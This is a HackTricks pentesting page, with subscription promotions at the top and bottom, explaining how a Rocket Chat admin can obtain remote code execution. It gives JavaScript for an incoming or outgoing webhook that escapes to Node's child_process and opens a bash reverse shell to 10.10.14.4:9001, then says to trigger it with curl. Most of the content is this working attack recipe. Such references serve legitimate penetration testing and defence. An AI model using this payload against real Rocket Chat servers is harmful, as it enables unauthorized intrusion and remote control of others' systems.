Rocket Chat
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
If you are admin inside Rocket Chat you can get RCE.
- Got to
Integrationsand selectNew Integrationand choose any:Incoming WebHookorOutgoing WebHook./admin/integrations/incoming
- According to the docs, both use ES2015 / ECMAScript 6 (basically JavaScript) to process the data. So lets get a rev shell for javascript like:
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
- Configure the WebHook (the channel and post as username must exists):
- Configure WebHook script:
- Save changes
- Get the generated WebHook URL:
- Call it with curl and you shuold receive the rev shell
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Last modified 4mo ago